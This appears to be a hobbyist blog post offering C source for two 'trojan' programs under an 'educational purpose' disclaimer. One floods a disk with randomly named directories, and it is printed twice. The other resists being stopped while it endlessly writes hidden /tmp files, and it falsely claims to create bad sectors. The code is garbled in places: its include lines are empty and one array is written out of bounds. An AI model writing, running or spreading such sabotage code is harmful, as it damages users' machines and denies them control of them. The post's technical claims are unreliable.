FEW TROJAN CODES
===================
N:B::be cautious while debugg dis code on ur machine...dese may harm severly ur system
----------------------------------------------------------------------------------------
-------------------------------------------------
----------------------FIRST------------------
-------------------------------------------------
#include
#include
#include
main()
{
int i,j;
char tmp[20];
char far *ptr;
for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\");
}
}
N:B::be cautious while debugg dis code on ur machine...dese may harm severly ur system
----------------------------------------
-------------------------------------------------
----------------------FIRST------------------
-------------------------------------------------
#include
#include
#include
main()
{
int i,j;
char tmp[20];
char far *ptr;
for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\");
}
}
----------------------------------------------------------
--------------------SECOND--------------------------
----------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
::it`ll make some bad sectors on ur disk
::i am not responsible if der is any rong happend to u...dis is purely for educational purpose
Filed Under :



0 Responses to “FEW TROJAN CODE IN TC++”
Leave a Reply
Please Leave your Email Address